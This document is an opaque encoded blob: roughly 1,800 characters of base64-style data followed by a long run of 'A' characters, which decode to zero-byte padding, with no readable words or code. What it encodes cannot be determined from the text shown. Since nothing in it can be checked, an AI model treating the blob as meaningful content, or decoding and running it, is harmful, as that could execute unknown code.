YKHjhb+TFQdcmH/uz12GXqKoOyQy3Dm0mjJ9xH6CL9tgxAlxGoVCL4Hv8yvIhOumDU4zBRMUZDF34fw0QYni3mW1VYYBq0J0zgRqbEPtSRwMm29JXQvod5dUQ/V1Fe1Tbqrh7K415RLw975F0X0m4bfNfidcHD/VPHE0HNCwh9AYuRqQugYZGy2l0PKwor2TisXWoDXILQyhVcvkwMAZnrBRUY1xES1TfSXtVDS+pahF4PH7Zzye6nEOJeNStJKoCDiYYZAkAwp62XnFFEzX/OhGvCMJf3NvGTIMl2FH4RbsbApoAUdxuwm+pmf76Fy57ayVBpJwBCMsO2tX+HRb8U6Ze0pKEMGiUirPULmKqIPZjUhylgvi1T8AtgTn2DAc8mAidnZA6CHb6aWitvdYtARZS/UYh3Mm6AhNIw5HYi5/kq1dET+POxDANCzurUyeQqhku+0/vsFlpqPbCuh13Y+ZUCXDtyTUNvV3gWBDVrV/NJ5HfJPtsjVdojtYwWaiQV65H4eQq5VDWWxWuYUfY4booRvUKCTCb2AqpEpzsMhwI2uHpjrhfkBVuPXGPi71jo6A5hRkMsVjfHVQCvJAO8h7kTAVdvxp6VJEud0N/nrDXYde/YifkkBqIJHKJb7EY0g76tUyVTjFfy4QYN+yQmmElhmmI7OTONONG6EPE+5JBCS3E6FoiTvAQ2GKLz0eoHorkPv+9XzB/xnpeEo2gxP39Z51oEeoiQCyiTUizIOHKqyR5cLlrSd3mXR8VxpqnScE0fBHKGhWhgdszF2nEOACYCRoHfoMeBpQ8DngI9f1oHdAeKbdd0KB4eXyru+h/0o6IiAUzfF0u/WS5b/yDuMQPBr/8nhQ6hF5AyhK0sK4jbemtUlLgY4w3n2aQlmez8HpNvIKPxFZfQPXxrpmzs6YcmbuPm0IPQXRdj+JRDQfL/SjU3mO2mFV4SeLVhqoVwqOA0LiXNPvsxmmxeQqq0HKAcnW8x4M6UofYWMz1h84GPoDKb632DNCLRn6H6reLWU9/CW0KiOQqgjon7jX5l7ABfHCeWfaBU6gzZOTXA3uW1Q6R1vzAc3uEmZ/gCNokPxWk/5h6uvQSNX456l5wHJs6HPRSmLPJ5SIabBbfF55D7ZPArROjA9CfeQLuu6/gMMkWm+/vLj5gweIEB0yM3yCziMRUfoe9h/j8EXhOmxP/VIJole/+UE3J+aX4R1MksfKcHCCeVDJynf8bkL3q5fmtJWc3OgN3PWrVYwq/H5I10I1IJbXz2/7wbD0He/Dl5M+qXfRKjmjG2aimIBRFOLNrTpBnpnqaetCzq1BEYs89GEiX6uh4l1fkOqezqQyy8EgPNJ2XqzVmn6YJ1c2e85KLX64GFt3nFd+1RDD0RN9KpBZCuu/insu8qBY8lLCzBTaaaw7Ua23EtlqIPkU8DgOI4gDwbI+0C6lu5l9lx9DhbBLnwRaVhT/gm7MbFyzKKaoto1muPOFA2uNUBgJk3ooSH9DDP6OqrmyYPsyfcYsWO9qxKEvRhYOA/ppyS88IKVKzkw7iEbitX0vixokicIN1wBrKHRAeZAEPlj61zRkU2qQXnG7QeOSegxunxen40A2Ajs9hCSW5AgG3JXusqUThybrxuVtDwlq0An8/e4UdCjDNLu+3axC3r3rXZJK7ArUBbR8ChEiSWRUvt0u91urfEcuMoE16R7c8GbdJVgPmqs9vh69BWQqah7IggAs7qMe7WeokDH6OeslrafK79Nlp+TmX0uwSpbJKY7GLAaXKEbn4BQ+XlmzyV6q4/RB9/VT5bpgowDNOKnI0IrrRj5+/3O5bcryzcFRD6hMf0Wln9UpreKGzeh480gqCQqTi55pG3wY11FHUSFKI8CqqnC1XFfVzbqElHx0NLcSofXYax+evoseJMcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA